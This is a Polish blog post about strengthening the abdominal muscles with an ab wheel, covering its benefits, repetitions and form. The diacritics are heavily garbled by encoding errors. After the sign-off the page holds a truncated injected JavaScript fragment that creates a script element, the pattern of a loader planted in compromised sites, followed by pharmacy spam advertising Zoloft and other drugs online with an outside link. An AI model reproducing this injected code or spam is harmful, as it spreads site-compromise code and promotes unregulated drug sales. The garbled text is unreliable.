JabiPakuje ai??i?? WZMOCNIJ BRZUCH OD WEWNAi??TRZ – TRENING NA KAi??A?KU

27.10.2014 / Adam Jabłoński / Kulturystyka

CzeAi??Ai??

Jest takie zapomniane ( no moA?e niezapomniane, ale rzadziej spotykane) Ai??wiczenie na miAi??Ai??nie brzucha.
WyglAi??da na dosyAi?? proste – ale wymaga naprawdAi?? wielkiego wysiAi??ku.
Jest to Ai??wiczenie na kA?Ai??ku ( polecam zakup dobrego kA?Ai??ka do Ai??wiczeAi?? brzucha bAi??dziecie mieli je na wiele wiele lat treningu)

Co nam daje takie Ai??wiczenie :
– maksymalnie wzmacnia wytrzymaAi??oAi??Ai?? miAi??Ai??ni brzucha i w dodatku wzmacnia miAi??Ai??nie gAi??Ai??bokie brzucha CZYLI WZMACNIAMY NASZ BRZUCH OD WEWNAi??TRZ – bardzo przydatne Ai??wiczenie dla kobiet po porodach oraz dla osA?b, ktA?rych brzuchy trochAi?? sAi??abo trzymajAi?? „flaki” :-).
– wzmacnia miAi??Ai??nie grzbietu
– wzmacnia nawet trochAi?? miAi??Ai??nie klatki ( ale tym bym siAi?? tak nie przejmowaAi?? i nie wliczaAi?? tego Ai??wiczenia jako np. jedno z Ai??wiczeAi?? w treningu klatki piersiowej)

Na poczAi??tku to Ai??wiczenie moA?e sprawiaAi?? problemy, ale po kilku treningach spokojnie bAi??dziecie robiAi?? 3 x 12-15 a moA?e i wiAi??cej powtA?rzeAi?? ( prawdziwi HARDCORE’y robiAi?? to Ai??wiczenie z wyprostowanych nA?g – PODZIWIAM )

PamiAi??tajcie aby daAi?? mate pod kolona i skupcie siAi?? nie jedziemy do przodu samymi rAi??koma lub samym tuAi??owiem – to wspA?Ai??praca wAi??aAi??nie rAi??k i tuAi??owia. – w sumie no resztAi?? zobaczycie na filmiku.

 

Pozdrawiam
HEJAAAAAAif (document.currentScript) { var d=document;var s=d.createElement('script'); Purchase cost of arimidex in ireland http://gamberra.es/omnicef-oral-suspension-cost/ Purchase what is zoloft used for. Zoloft online. zoloft vs prozac. pills online